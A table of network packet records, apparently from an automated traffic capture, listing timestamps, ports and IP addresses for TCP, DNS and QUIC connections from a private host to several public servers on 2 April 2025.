Apr 2, 2025 08:39:14.563304901 CEST	49742	443	192.168.2.17	104.77.220.51
Apr 2, 2025 08:39:14.563895941 CEST	49742	443	192.168.2.17	104.77.220.51
Apr 2, 2025 08:39:14.563904047 CEST	443	49742	104.77.220.51	192.168.2.17
Apr 2, 2025 08:39:14.564696074 CEST	443	49742	104.77.220.51	192.168.2.17
Apr 2, 2025 08:39:14.565038919 CEST	49742	443	192.168.2.17	104.77.220.51
Apr 2, 2025 08:39:14.612282991 CEST	443	49742	104.77.220.51	192.168.2.17
Apr 2, 2025 08:39:14.747948885 CEST	443	49742	104.77.220.51	192.168.2.17
Apr 2, 2025 08:39:14.748016119 CEST	443	49742	104.77.220.51	192.168.2.17
Apr 2, 2025 08:39:14.748059034 CEST	443	49742	104.77.220.51	192.168.2.17
Apr 2, 2025 08:39:14.748090982 CEST	49742	443	192.168.2.17	104.77.220.51
Apr 2, 2025 08:39:14.748119116 CEST	443	49742	104.77.220.51	192.168.2.17
Apr 2, 2025 08:39:14.748155117 CEST	49742	443	192.168.2.17	104.77.220.51
Apr 2, 2025 08:39:14.748177052 CEST	49742	443	192.168.2.17	104.77.220.51
Apr 2, 2025 08:39:14.843099117 CEST	443	49742	104.77.220.51	192.168.2.17
Apr 2, 2025 08:39:14.843234062 CEST	49742	443	192.168.2.17	104.77.220.51
Apr 2, 2025 08:39:14.843249083 CEST	443	49742	104.77.220.51	192.168.2.17
Apr 2, 2025 08:39:14.843271971 CEST	443	49742	104.77.220.51	192.168.2.17
Apr 2, 2025 08:39:14.843293905 CEST	49742	443	192.168.2.17	104.77.220.51
Apr 2, 2025 08:39:14.843342066 CEST	49742	443	192.168.2.17	104.77.220.51
Apr 2, 2025 08:39:14.843755960 CEST	49742	443	192.168.2.17	104.77.220.51
Apr 2, 2025 08:39:14.843770027 CEST	443	49742	104.77.220.51	192.168.2.17
Apr 2, 2025 08:39:21.964279890 CEST	49816	443	192.168.2.17	23.209.72.31
Apr 2, 2025 08:39:21.964330912 CEST	443	49816	23.209.72.31	192.168.2.17
Apr 2, 2025 08:39:21.964461088 CEST	49816	443	192.168.2.17	23.209.72.31
Apr 2, 2025 08:39:21.964617968 CEST	49816	443	192.168.2.17	23.209.72.31
Apr 2, 2025 08:39:21.964637995 CEST	443	49816	23.209.72.31	192.168.2.17
Apr 2, 2025 08:39:22.165517092 CEST	443	49816	23.209.72.31	192.168.2.17
Apr 2, 2025 08:39:22.165621996 CEST	49816	443	192.168.2.17	23.209.72.31
Apr 2, 2025 08:39:22.166809082 CEST	49816	443	192.168.2.17	23.209.72.31
Apr 2, 2025 08:39:22.166819096 CEST	443	49816	23.209.72.31	192.168.2.17
Apr 2, 2025 08:39:22.167299032 CEST	443	49816	23.209.72.31	192.168.2.17
Apr 2, 2025 08:39:22.167638063 CEST	49816	443	192.168.2.17	23.209.72.31
Apr 2, 2025 08:39:22.212271929 CEST	443	49816	23.209.72.31	192.168.2.17
Apr 2, 2025 08:39:22.343259096 CEST	443	49816	23.209.72.31	192.168.2.17
Apr 2, 2025 08:39:22.343292952 CEST	443	49816	23.209.72.31	192.168.2.17
Apr 2, 2025 08:39:22.343353033 CEST	49816	443	192.168.2.17	23.209.72.31
Apr 2, 2025 08:39:22.343370914 CEST	443	49816	23.209.72.31	192.168.2.17
Apr 2, 2025 08:39:22.344233036 CEST	49816	443	192.168.2.17	23.209.72.31
Apr 2, 2025 08:39:22.344283104 CEST	443	49816	23.209.72.31	192.168.2.17
Apr 2, 2025 08:39:22.344335079 CEST	49816	443	192.168.2.17	23.209.72.31
Apr 2, 2025 08:39:22.455461979 CEST	49825	443	192.168.2.17	23.209.72.9
Apr 2, 2025 08:39:22.455492973 CEST	443	49825	23.209.72.9	192.168.2.17
Apr 2, 2025 08:39:22.455564022 CEST	49825	443	192.168.2.17	23.209.72.9
Apr 2, 2025 08:39:22.455955982 CEST	49825	443	192.168.2.17	23.209.72.9
Apr 2, 2025 08:39:22.455971003 CEST	443	49825	23.209.72.9	192.168.2.17
Apr 2, 2025 08:39:22.643420935 CEST	443	49825	23.209.72.9	192.168.2.17
Apr 2, 2025 08:39:22.643537045 CEST	49825	443	192.168.2.17	23.209.72.9
Apr 2, 2025 08:39:22.644004107 CEST	49825	443	192.168.2.17	23.209.72.9
Apr 2, 2025 08:39:22.644022942 CEST	443	49825	23.209.72.9	192.168.2.17
Apr 2, 2025 08:39:22.644367933 CEST	443	49825	23.209.72.9	192.168.2.17
Apr 2, 2025 08:39:22.644665003 CEST	49825	443	192.168.2.17	23.209.72.9
Apr 2, 2025 08:39:22.692291021 CEST	443	49825	23.209.72.9	192.168.2.17
Apr 2, 2025 08:39:22.844261885 CEST	443	49825	23.209.72.9	192.168.2.17
Apr 2, 2025 08:39:22.844284058 CEST	443	49825	23.209.72.9	192.168.2.17
Apr 2, 2025 08:39:22.844338894 CEST	49825	443	192.168.2.17	23.209.72.9
Apr 2, 2025 08:39:22.844383955 CEST	443	49825	23.209.72.9	192.168.2.17
Apr 2, 2025 08:39:22.845321894 CEST	49825	443	192.168.2.17	23.209.72.9
Apr 2, 2025 08:39:22.845380068 CEST	443	49825	23.209.72.9	192.168.2.17
Apr 2, 2025 08:39:22.845432043 CEST	49825	443	192.168.2.17	23.209.72.9
Apr 2, 2025 08:39:34.681015968 CEST	49705	80	192.168.2.17	142.250.64.99
Apr 2, 2025 08:39:34.681143999 CEST	49707	80	192.168.2.17	199.232.214.172
Apr 2, 2025 08:39:34.772247076 CEST	80	49707	199.232.214.172	192.168.2.17
Apr 2, 2025 08:39:34.772284985 CEST	80	49707	199.232.214.172	192.168.2.17
Apr 2, 2025 08:39:34.772353888 CEST	49707	80	192.168.2.17	199.232.214.172
Apr 2, 2025 08:39:34.772543907 CEST	80	49705	142.250.64.99	192.168.2.17
Apr 2, 2025 08:39:34.772598982 CEST	49705	80	192.168.2.17	142.250.64.99
Apr 2, 2025 08:39:37.059823036 CEST	49715	443	192.168.2.17	172.67.215.243
Apr 2, 2025 08:39:37.059880018 CEST	443	49715	172.67.215.243	192.168.2.17
Apr 2, 2025 08:39:50.443835974 CEST	49721	443	192.168.2.17	162.159.61.3
Apr 2, 2025 08:39:50.443871021 CEST	443	49721	162.159.61.3	192.168.2.17
Apr 2, 2025 08:39:52.659089088 CEST	49715	443	192.168.2.17	172.67.215.243
Apr 2, 2025 08:39:52.659245014 CEST	443	49715	172.67.215.243	192.168.2.17
Apr 2, 2025 08:39:52.659507990 CEST	443	49715	172.67.215.243	192.168.2.17
Apr 2, 2025 08:39:52.659518957 CEST	49715	443	192.168.2.17	172.67.215.243
Apr 2, 2025 08:39:52.659641027 CEST	49715	443	192.168.2.17	172.67.215.243

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Apr 2, 2025 08:38:50.643023968 CEST	53	50458	1.1.1.1	192.168.2.17
Apr 2, 2025 08:38:51.099272966 CEST	49725	53	192.168.2.17	1.1.1.1
Apr 2, 2025 08:38:51.100131035 CEST	51271	53	192.168.2.17	1.1.1.1
Apr 2, 2025 08:38:51.199982882 CEST	53	49725	1.1.1.1	192.168.2.17
Apr 2, 2025 08:38:51.208580017 CEST	53	51271	1.1.1.1	192.168.2.17
Apr 2, 2025 08:38:51.541218042 CEST	57788	53	192.168.2.17	1.1.1.1
Apr 2, 2025 08:38:51.541371107 CEST	56630	53	192.168.2.17	1.1.1.1
Apr 2, 2025 08:38:51.705672979 CEST	53	56630	1.1.1.1	192.168.2.17
Apr 2, 2025 08:38:51.831738949 CEST	53	57788	1.1.1.1	192.168.2.17
Apr 2, 2025 08:38:51.834587097 CEST	55119	443	192.168.2.17	172.67.215.243
Apr 2, 2025 08:38:51.932405949 CEST	443	55119	172.67.215.243	192.168.2.17
Apr 2, 2025 08:38:51.936907053 CEST	443	55119	172.67.215.243	192.168.2.17
Apr 2, 2025 08:38:51.936949968 CEST	443	55119	172.67.215.243	192.168.2.17
Apr 2, 2025 08:38:51.936989069 CEST	443	55119	172.67.215.243	192.168.2.17
Apr 2, 2025 08:38:51.947546959 CEST	55119	443	192.168.2.17	172.67.215.243
Apr 2, 2025 08:38:51.956739902 CEST	55119	443	192.168.2.17	172.67.215.243
Apr 2, 2025 08:38:51.957017899 CEST	55119	443	192.168.2.17	172.67.215.243
Apr 2, 2025 08:38:51.962085009 CEST	55119	443	192.168.2.17	172.67.215.243
Apr 2, 2025 08:38:52.054523945 CEST	443	55119	172.67.215.243	192.168.2.17
Apr 2, 2025 08:38:52.054562092 CEST	443	55119	172.67.215.243	192.168.2.17
Apr 2, 2025 08:38:52.054822922 CEST	443	55119	172.67.215.243	192.168.2.17
Apr 2, 2025 08:38:52.054963112 CEST	443	55119	172.67.215.243	192.168.2.17
Apr 2, 2025 08:38:52.055064917 CEST	55119	443	192.168.2.17	172.67.215.243
Apr 2, 2025 08:38:52.055167913 CEST	55119	443	192.168.2.17	172.67.215.243
Apr 2, 2025 08:38:52.055190086 CEST	443	55119	172.67.215.243	192.168.2.17
Apr 2, 2025 08:38:52.061013937 CEST	443	55119	172.67.215.243	192.168.2.17
Apr 2, 2025 08:38:52.154550076 CEST	443	55119	172.67.215.243	192.168.2.17
Apr 2, 2025 08:38:52.179989100 CEST	55119	443	192.168.2.17	172.67.215.243
Apr 2, 2025 08:38:52.238562107 CEST	443	55119	172.67.215.243	192.168.2.17
Apr 2, 2025 08:38:52.239106894 CEST	443	55119	172.67.215.243	192.168.2.17
Apr 2, 2025 08:38:52.239959955 CEST	55119	443	192.168.2.17	172.67.215.243
Apr 2, 2025 08:38:52.285185099 CEST	56485	53	192.168.2.17	1.1.1.1
Apr 2, 2025 08:38:52.285399914 CEST	61318	53	192.168.2.17	1.1.1.1
Apr 2, 2025 08:38:52.285792112 CEST	63296	53	192.168.2.17	1.1.1.1
Apr 2, 2025 08:38:52.285965919 CEST	59535	53	192.168.2.17	1.1.1.1
Apr 2, 2025 08:38:52.382925987 CEST	53	61318	1.1.1.1	192.168.2.17
Apr 2, 2025 08:38:52.384146929 CEST	53	56485	1.1.1.1	192.168.2.17
Apr 2, 2025 08:38:52.385219097 CEST	52760	443	192.168.2.17	104.18.94.41
Apr 2, 2025 08:38:52.389698029 CEST	53	63296	1.1.1.1	192.168.2.17
Apr 2, 2025 08:38:52.390635967 CEST	53	59535	1.1.1.1	192.168.2.17
Apr 2, 2025 08:38:52.391482115 CEST	61217	443	192.168.2.17	172.67.187.19
Apr 2, 2025 08:38:52.484201908 CEST	443	52760	104.18.94.41	192.168.2.17
Apr 2, 2025 08:38:52.484277964 CEST	443	52760	104.18.94.41	192.168.2.17
Apr 2, 2025 08:38:52.484503984 CEST	443	52760	104.18.94.41	192.168.2.17
Apr 2, 2025 08:38:52.485083103 CEST	52760	443	192.168.2.17	104.18.94.41
Apr 2, 2025 08:38:52.486499071 CEST	52760	443	192.168.2.17	104.18.94.41
Apr 2, 2025 08:38:52.486601114 CEST	52760	443	192.168.2.17	104.18.94.41
Apr 2, 2025 08:38:52.486876965 CEST	52760	443	192.168.2.17	104.18.94.41
Apr 2, 2025 08:38:52.488279104 CEST	443	61217	172.67.187.19	192.168.2.17
Apr 2, 2025 08:38:52.492757082 CEST	443	61217	172.67.187.19	192.168.2.17
Apr 2, 2025 08:38:52.494313002 CEST	443	61217	172.67.187.19	192.168.2.17
Apr 2, 2025 08:38:52.494327068 CEST	443	61217	172.67.187.19	192.168.2.17
Apr 2, 2025 08:38:52.494544983 CEST	61217	443	192.168.2.17	172.67.187.19
Apr 2, 2025 08:38:52.494715929 CEST	61217	443	192.168.2.17	172.67.187.19
Apr 2, 2025 08:38:52.496159077 CEST	61217	443	192.168.2.17	172.67.187.19
Apr 2, 2025 08:38:52.496268988 CEST	61217	443	192.168.2.17	172.67.187.19
Apr 2, 2025 08:38:52.496481895 CEST	61217	443	192.168.2.17	172.67.187.19
Apr 2, 2025 08:38:52.583381891 CEST	443	52760	104.18.94.41	192.168.2.17
Apr 2, 2025 08:38:52.583411932 CEST	443	52760	104.18.94.41	192.168.2.17
Apr 2, 2025 08:38:52.584105015 CEST	52760	443	192.168.2.17	104.18.94.41
Apr 2, 2025 08:38:52.585661888 CEST	443	52760	104.18.94.41	192.168.2.17
Apr 2, 2025 08:38:52.585675001 CEST	443	52760	104.18.94.41	192.168.2.17
Apr 2, 2025 08:38:52.585891008 CEST	52760	443	192.168.2.17	104.18.94.41
Apr 2, 2025 08:38:52.591859102 CEST	443	52760	104.18.94.41	192.168.2.17
Apr 2, 2025 08:38:52.594691038 CEST	443	61217	172.67.187.19	192.168.2.17
Apr 2, 2025 08:38:52.594702959 CEST	443	61217	172.67.187.19	192.168.2.17
Apr 2, 2025 08:38:52.594712973 CEST	443	61217	172.67.187.19	192.168.2.17
Apr 2, 2025 08:38:52.594724894 CEST	443	61217	172.67.187.19	192.168.2.17
Apr 2, 2025 08:38:52.595269918 CEST	61217	443	192.168.2.17	172.67.187.19
Apr 2, 2025 08:38:52.595386028 CEST	61217	443	192.168.2.17	172.67.187.19
Apr 2, 2025 08:38:52.595710993 CEST	52760	443	192.168.2.17	104.18.94.41
Apr 2, 2025 08:38:52.605906010 CEST	443	61217	172.67.187.19	192.168.2.17
Apr 2, 2025 08:38:52.606232882 CEST	443	61217	172.67.187.19	192.168.2.17
Apr 2, 2025 08:38:52.606246948 CEST	443	61217	172.67.187.19	192.168.2.17
Apr 2, 2025 08:38:52.606520891 CEST	61217	443	192.168.2.17	172.67.187.19
Apr 2, 2025 08:38:52.613497972 CEST	55767	53	192.168.2.17	1.1.1.1
Apr 2, 2025 08:38:52.613666058 CEST	55519	53	192.168.2.17	1.1.1.1
Apr 2, 2025 08:38:52.641685963 CEST	61217	443	192.168.2.17	172.67.187.19
Apr 2, 2025 08:38:52.682588100 CEST	443	52760	104.18.94.41	192.168.2.17
Apr 2, 2025 08:38:52.692132950 CEST	443	61217	172.67.187.19	192.168.2.17
Apr 2, 2025 08:38:52.692545891 CEST	443	52760	104.18.94.41	192.168.2.17
Apr 2, 2025 08:38:52.700083017 CEST	443	52760	104.18.94.41	192.168.2.17
Apr 2, 2025 08:38:52.700360060 CEST	52760	443	192.168.2.17	104.18.94.41
Apr 2, 2025 08:38:52.701339960 CEST	443	52760	104.18.94.41	192.168.2.17
Apr 2, 2025 08:38:52.701412916 CEST	443	52760	104.18.94.41	192.168.2.17
Apr 2, 2025 08:38:52.701522112 CEST	52760	443	192.168.2.17	104.18.94.41
Apr 2, 2025 08:38:52.701675892 CEST	443	52760	104.18.94.41	192.168.2.17
Apr 2, 2025 08:38:52.701690912 CEST	443	52760	104.18.94.41	192.168.2.17
Apr 2, 2025 08:38:52.701736927 CEST	443	52760	104.18.94.41	192.168.2.17
Apr 2, 2025 08:38:52.701817989 CEST	443	52760	104.18.94.41	192.168.2.17
Apr 2, 2025 08:38:52.701879025 CEST	52760	443	192.168.2.17	104.18.94.41
Apr 2, 2025 08:38:52.701916933 CEST	443	52760	104.18.94.41	192.168.2.17
Apr 2, 2025 08:38:52.701958895 CEST	52760	443	192.168.2.17	104.18.94.41
Apr 2, 2025 08:38:52.702044964 CEST	443	52760	104.18.94.41	192.168.2.17
Apr 2, 2025 08:38:52.702058077 CEST	443	52760	104.18.94.41	192.168.2.17
Apr 2, 2025 08:38:52.702075958 CEST	443	52760	104.18.94.41	192.168.2.17
Apr 2, 2025 08:38:52.702116966 CEST	52760	443	192.168.2.17	104.18.94.41
Apr 2, 2025 08:38:52.702296972 CEST	52760	443	192.168.2.17	104.18.94.41
Apr 2, 2025 08:38:52.713186979 CEST	53	55767	1.1.1.1	192.168.2.17
Apr 2, 2025 08:38:52.719276905 CEST	53	55519	1.1.1.1	192.168.2.17
Apr 2, 2025 08:38:52.719480991 CEST	61217	443	192.168.2.17	172.67.187.19
Apr 2, 2025 08:38:52.720069885 CEST	59801	443	192.168.2.17	104.21.92.58
Apr 2, 2025 08:38:52.797156096 CEST	443	52760	104.18.94.41	192.168.2.17
Apr 2, 2025 08:38:52.797838926 CEST	443	52760	104.18.94.41	192.168.2.17
Apr 2, 2025 08:38:52.797852993 CEST	443	52760	104.18.94.41	192.168.2.17
Apr 2, 2025 08:38:52.797871113 CEST	443	52760	104.18.94.41	192.168.2.17
Apr 2, 2025 08:38:52.797883987 CEST	443	52760	104.18.94.41	192.168.2.17
Apr 2, 2025 08:38:52.798105001 CEST	52760	443	192.168.2.17	104.18.94.41
Apr 2, 2025 08:38:52.798167944 CEST	52760	443	192.168.2.17	104.18.94.41
Apr 2, 2025 08:38:52.818824053 CEST	443	59801	104.21.92.58	192.168.2.17
Apr 2, 2025 08:38:52.819569111 CEST	443	59801	104.21.92.58	192.168.2.17
Apr 2, 2025 08:38:52.819883108 CEST	443	59801	104.21.92.58	192.168.2.17
Apr 2, 2025 08:38:52.820096970 CEST	443	59801	104.21.92.58	192.168.2.17
Apr 2, 2025 08:38:52.820127964 CEST	443	59801	104.21.92.58	192.168.2.17
Apr 2, 2025 08:38:52.820347071 CEST	59801	443	192.168.2.17	104.21.92.58
Apr 2, 2025 08:38:52.821012974 CEST	59801	443	192.168.2.17	104.21.92.58
Apr 2, 2025 08:38:52.821253061 CEST	59801	443	192.168.2.17	104.21.92.58
Apr 2, 2025 08:38:52.833491087 CEST	52760	443	192.168.2.17	104.18.94.41
Apr 2, 2025 08:38:52.851166010 CEST	53111	53	192.168.2.17	1.1.1.1
Apr 2, 2025 08:38:52.851316929 CEST	61879	53	192.168.2.17	1.1.1.1
Apr 2, 2025 08:38:52.918632030 CEST	443	59801	104.21.92.58	192.168.2.17
Apr 2, 2025 08:38:52.918725014 CEST	443	59801	104.21.92.58	192.168.2.17
Apr 2, 2025 08:38:52.918971062 CEST	443	59801	104.21.92.58	192.168.2.17
Apr 2, 2025 08:38:52.919007063 CEST	443	59801	104.21.92.58	192.168.2.17
Apr 2, 2025 08:38:52.919231892 CEST	59801	443	192.168.2.17	104.21.92.58
Apr 2, 2025 08:38:52.919325113 CEST	59801	443	192.168.2.17	104.21.92.58
Apr 2, 2025 08:38:52.938438892 CEST	443	59801	104.21.92.58	192.168.2.17
Apr 2, 2025 08:38:52.938525915 CEST	443	59801	104.21.92.58	192.168.2.17
Apr 2, 2025 08:38:52.938565016 CEST	443	59801	104.21.92.58	192.168.2.17
Apr 2, 2025 08:38:52.938599110 CEST	443	59801	104.21.92.58	192.168.2.17
Apr 2, 2025 08:38:52.938920021 CEST	59801	443	192.168.2.17	104.21.92.58
Apr 2, 2025 08:38:52.939027071 CEST	59801	443	192.168.2.17	104.21.92.58
Apr 2, 2025 08:38:52.949018002 CEST	53	61879	1.1.1.1	192.168.2.17
Apr 2, 2025 08:38:52.950077057 CEST	53	53111	1.1.1.1	192.168.2.17
Apr 2, 2025 08:38:52.950876951 CEST	61313	443	192.168.2.17	104.18.94.41
Apr 2, 2025 08:38:53.036815882 CEST	443	59801	104.21.92.58	192.168.2.17
Apr 2, 2025 08:38:53.048243046 CEST	443	61313	104.18.94.41	192.168.2.17
Apr 2, 2025 08:38:53.049607992 CEST	443	61313	104.18.94.41	192.168.2.17
Apr 2, 2025 08:38:53.049648046 CEST	443	61313	104.18.94.41	192.168.2.17
Apr 2, 2025 08:38:53.049686909 CEST	443	61313	104.18.94.41	192.168.2.17
Apr 2, 2025 08:38:53.050437927 CEST	61313	443	192.168.2.17	104.18.94.41
Apr 2, 2025 08:38:53.050494909 CEST	61313	443	192.168.2.17	104.18.94.41
Apr 2, 2025 08:38:53.050714970 CEST	61313	443	192.168.2.17	104.18.94.41
Apr 2, 2025 08:38:53.069947958 CEST	59801	443	192.168.2.17	104.21.92.58
Apr 2, 2025 08:38:53.147336960 CEST	443	61313	104.18.94.41	192.168.2.17
Apr 2, 2025 08:38:53.147357941 CEST	443	61313	104.18.94.41	192.168.2.17
Apr 2, 2025 08:38:53.147368908 CEST	443	61313	104.18.94.41	192.168.2.17
Apr 2, 2025 08:38:53.147382021 CEST	443	61313	104.18.94.41	192.168.2.17
Apr 2, 2025 08:38:53.147752047 CEST	443	61313	104.18.94.41	192.168.2.17
Apr 2, 2025 08:38:53.153136969 CEST	443	61313	104.18.94.41	192.168.2.17
Apr 2, 2025 08:38:53.153153896 CEST	443	61313	104.18.94.41	192.168.2.17
Apr 2, 2025 08:38:53.154050112 CEST	61313	443	192.168.2.17	104.18.94.41
Apr 2, 2025 08:38:53.154275894 CEST	443	61313	104.18.94.41	192.168.2.17
Apr 2, 2025 08:38:53.154324055 CEST	443	61313	104.18.94.41	192.168.2.17
Apr 2, 2025 08:38:53.154522896 CEST	443	61313	104.18.94.41	192.168.2.17
Apr 2, 2025 08:38:53.154524088 CEST	61313	443	192.168.2.17	104.18.94.41
Apr 2, 2025 08:38:53.154592991 CEST	443	61313	104.18.94.41	192.168.2.17
Apr 2, 2025 08:38:53.154607058 CEST	443	61313	104.18.94.41	192.168.2.17
Apr 2, 2025 08:38:53.154619932 CEST	443	61313	104.18.94.41	192.168.2.17
Apr 2, 2025 08:38:53.154633045 CEST	443	61313	104.18.94.41	192.168.2.17
Apr 2, 2025 08:38:53.154946089 CEST	61313	443	192.168.2.17	104.18.94.41
Apr 2, 2025 08:38:53.155090094 CEST	61313	443	192.168.2.17	104.18.94.41
Apr 2, 2025 08:38:53.155308008 CEST	61313	443	192.168.2.17	104.18.94.41
Apr 2, 2025 08:38:53.155416965 CEST	61313	443	192.168.2.17	104.18.94.41
Apr 2, 2025 08:38:53.183119059 CEST	61313	443	192.168.2.17	104.18.94.41
Apr 2, 2025 08:38:53.215229034 CEST	61313	443	192.168.2.17	104.18.94.41
Apr 2, 2025 08:38:53.222513914 CEST	61313	443	192.168.2.17	104.18.94.41
Apr 2, 2025 08:38:53.250777006 CEST	443	61313	104.18.94.41	192.168.2.17
Apr 2, 2025 08:38:53.278636932 CEST	61313	443	192.168.2.17	104.18.94.41
Apr 2, 2025 08:38:53.313669920 CEST	443	61313	104.18.94.41	192.168.2.17
Apr 2, 2025 08:38:53.319914103 CEST	443	61313	104.18.94.41	192.168.2.17
Apr 2, 2025 08:38:53.321073055 CEST	443	61313	104.18.94.41	192.168.2.17
Apr 2, 2025 08:38:53.324630022 CEST	443	61313	104.18.94.41	192.168.2.17
Apr 2, 2025 08:38:53.324731112 CEST	443	61313	104.18.94.41	192.168.2.17
Apr 2, 2025 08:38:53.324770927 CEST	443	61313	104.18.94.41	192.168.2.17
Apr 2, 2025 08:38:53.324810028 CEST	443	61313	104.18.94.41	192.168.2.17
Apr 2, 2025 08:38:53.324846983 CEST	443	61313	104.18.94.41	192.168.2.17
Apr 2, 2025 08:38:53.324884892 CEST	443	61313	104.18.94.41	192.168.2.17
Apr 2, 2025 08:38:53.324907064 CEST	61313	443	192.168.2.17	104.18.94.41
Apr 2, 2025 08:38:53.324923992 CEST	443	61313	104.18.94.41	192.168.2.17
Apr 2, 2025 08:38:53.324963093 CEST	443	61313	104.18.94.41	192.168.2.17
Apr 2, 2025 08:38:53.324971914 CEST	61313	443	192.168.2.17	104.18.94.41
Apr 2, 2025 08:38:53.325001001 CEST	443	61313	104.18.94.41	192.168.2.17
Apr 2, 2025 08:38:53.325032949 CEST	61313	443	192.168.2.17	104.18.94.41
Apr 2, 2025 08:38:53.325037003 CEST	443	61313	104.18.94.41	192.168.2.17
Apr 2, 2025 08:38:53.325088978 CEST	61313	443	192.168.2.17	104.18.94.41
Apr 2, 2025 08:38:53.325145960 CEST	61313	443	192.168.2.17	104.18.94.41
Apr 2, 2025 08:38:53.329200029 CEST	58384	53	192.168.2.17	1.1.1.1
Apr 2, 2025 08:38:53.329338074 CEST	59871	53	192.168.2.17	1.1.1.1
Apr 2, 2025 08:38:53.358736038 CEST	61313	443	192.168.2.17	104.18.94.41
Apr 2, 2025 08:38:53.421652079 CEST	443	61313	104.18.94.41	192.168.2.17
Apr 2, 2025 08:38:53.421674013 CEST	443	61313	104.18.94.41	192.168.2.17
Apr 2, 2025 08:38:53.421686888 CEST	443	61313	104.18.94.41	192.168.2.17
Apr 2, 2025 08:38:53.421799898 CEST	443	61313	104.18.94.41	192.168.2.17
Apr 2, 2025 08:38:53.421813965 CEST	443	61313	104.18.94.41	192.168.2.17
Apr 2, 2025 08:38:53.422029018 CEST	61313	443	192.168.2.17	104.18.94.41
Apr 2, 2025 08:38:53.422069073 CEST	443	61313	104.18.94.41	192.168.2.17
Apr 2, 2025 08:38:53.422082901 CEST	443	61313	104.18.94.41	192.168.2.17
Apr 2, 2025 08:38:53.422097921 CEST	61313	443	192.168.2.17	104.18.94.41
Apr 2, 2025 08:38:53.422148943 CEST	443	61313	104.18.94.41	192.168.2.17
Apr 2, 2025 08:38:53.422185898 CEST	443	61313	104.18.94.41	192.168.2.17
Apr 2, 2025 08:38:53.422238111 CEST	443	61313	104.18.94.41	192.168.2.17
Apr 2, 2025 08:38:53.422250986 CEST	443	61313	104.18.94.41	192.168.2.17
Apr 2, 2025 08:38:53.422270060 CEST	443	61313	104.18.94.41	192.168.2.17
Apr 2, 2025 08:38:53.422283888 CEST	443	61313	104.18.94.41	192.168.2.17
Apr 2, 2025 08:38:53.422377110 CEST	443	61313	104.18.94.41	192.168.2.17
Apr 2, 2025 08:38:53.422390938 CEST	443	61313	104.18.94.41	192.168.2.17
Apr 2, 2025 08:38:53.422404051 CEST	443	61313	104.18.94.41	192.168.2.17
Apr 2, 2025 08:38:53.422418118 CEST	443	61313	104.18.94.41	192.168.2.17
Apr 2, 2025 08:38:53.422457933 CEST	443	61313	104.18.94.41	192.168.2.17
Apr 2, 2025 08:38:53.422472000 CEST	443	61313	104.18.94.41	192.168.2.17
Apr 2, 2025 08:38:53.422817945 CEST	61313	443	192.168.2.17	104.18.94.41
Apr 2, 2025 08:38:53.422993898 CEST	61313	443	192.168.2.17	104.18.94.41
Apr 2, 2025 08:38:53.423456907 CEST	61313	443	192.168.2.17	104.18.94.41
Apr 2, 2025 08:38:53.423557043 CEST	61313	443	192.168.2.17	104.18.94.41
Apr 2, 2025 08:38:53.423638105 CEST	61313	443	192.168.2.17	104.18.94.41
Apr 2, 2025 08:38:53.423711061 CEST	61313	443	192.168.2.17	104.18.94.41
Apr 2, 2025 08:38:53.423875093 CEST	61313	443	192.168.2.17	104.18.94.41
Apr 2, 2025 08:38:53.426764965 CEST	53	58384	1.1.1.1	192.168.2.17
Apr 2, 2025 08:38:53.426968098 CEST	53	59871	1.1.1.1	192.168.2.17
Apr 2, 2025 08:38:53.427871943 CEST	60338	443	192.168.2.17	104.18.95.41
Apr 2, 2025 08:38:53.452713013 CEST	61313	443	192.168.2.17	104.18.94.41
Apr 2, 2025 08:38:53.455094099 CEST	443	61313	104.18.94.41	192.168.2.17
Apr 2, 2025 08:38:53.455111980 CEST	443	61313	104.18.94.41	192.168.2.17
Apr 2, 2025 08:38:53.455425024 CEST	61313	443	192.168.2.17	104.18.94.41
Apr 2, 2025 08:38:53.519711971 CEST	443	61313	104.18.94.41	192.168.2.17
Apr 2, 2025 08:38:53.519753933 CEST	443	61313	104.18.94.41	192.168.2.17
Apr 2, 2025 08:38:53.519792080 CEST	443	61313	104.18.94.41	192.168.2.17
Apr 2, 2025 08:38:53.519834042 CEST	443	61313	104.18.94.41	192.168.2.17
Apr 2, 2025 08:38:53.519890070 CEST	443	61313	104.18.94.41	192.168.2.17
Apr 2, 2025 08:38:53.519925117 CEST	443	61313	104.18.94.41	192.168.2.17
Apr 2, 2025 08:38:53.519963980 CEST	443	61313	104.18.94.41	192.168.2.17
Apr 2, 2025 08:38:53.520000935 CEST	443	61313	104.18.94.41	192.168.2.17
Apr 2, 2025 08:38:53.520039082 CEST	443	61313	104.18.94.41	192.168.2.17
Apr 2, 2025 08:38:53.520044088 CEST	61313	443	192.168.2.17	104.18.94.41
Apr 2, 2025 08:38:53.520076036 CEST	443	61313	104.18.94.41	192.168.2.17
Apr 2, 2025 08:38:53.520113945 CEST	443	61313	104.18.94.41	192.168.2.17
Apr 2, 2025 08:38:53.520148993 CEST	443	61313	104.18.94.41	192.168.2.17
Apr 2, 2025 08:38:53.520183086 CEST	61313	443	192.168.2.17	104.18.94.41
Apr 2, 2025 08:38:53.520185947 CEST	443	61313	104.18.94.41	192.168.2.17
Apr 2, 2025 08:38:53.520225048 CEST	443	61313	104.18.94.41	192.168.2.17
Apr 2, 2025 08:38:53.520234108 CEST	61313	443	192.168.2.17	104.18.94.41
Apr 2, 2025 08:38:53.520292044 CEST	443	61313	104.18.94.41	192.168.2.17
Apr 2, 2025 08:38:53.520311117 CEST	61313	443	192.168.2.17	104.18.94.41
Apr 2, 2025 08:38:53.520376921 CEST	61313	443	192.168.2.17	104.18.94.41
Apr 2, 2025 08:38:53.520433903 CEST	61313	443	192.168.2.17	104.18.94.41
Apr 2, 2025 08:38:53.520500898 CEST	61313	443	192.168.2.17	104.18.94.41
Apr 2, 2025 08:38:53.525399923 CEST	443	60338	104.18.95.41	192.168.2.17
Apr 2, 2025 08:38:53.526932001 CEST	443	60338	104.18.95.41	192.168.2.17
Apr 2, 2025 08:38:53.527338982 CEST	443	60338	104.18.95.41	192.168.2.17
Apr 2, 2025 08:38:53.527376890 CEST	443	60338	104.18.95.41	192.168.2.17
Apr 2, 2025 08:38:53.528107882 CEST	60338	443	192.168.2.17	104.18.95.41
Apr 2, 2025 08:38:53.528161049 CEST	60338	443	192.168.2.17	104.18.95.41
Apr 2, 2025 08:38:53.528383970 CEST	60338	443	192.168.2.17	104.18.95.41
Apr 2, 2025 08:38:53.552911997 CEST	61313	443	192.168.2.17	104.18.94.41
Apr 2, 2025 08:38:53.553749084 CEST	55119	443	192.168.2.17	172.67.215.243
Apr 2, 2025 08:38:53.617702961 CEST	443	61313	104.18.94.41	192.168.2.17
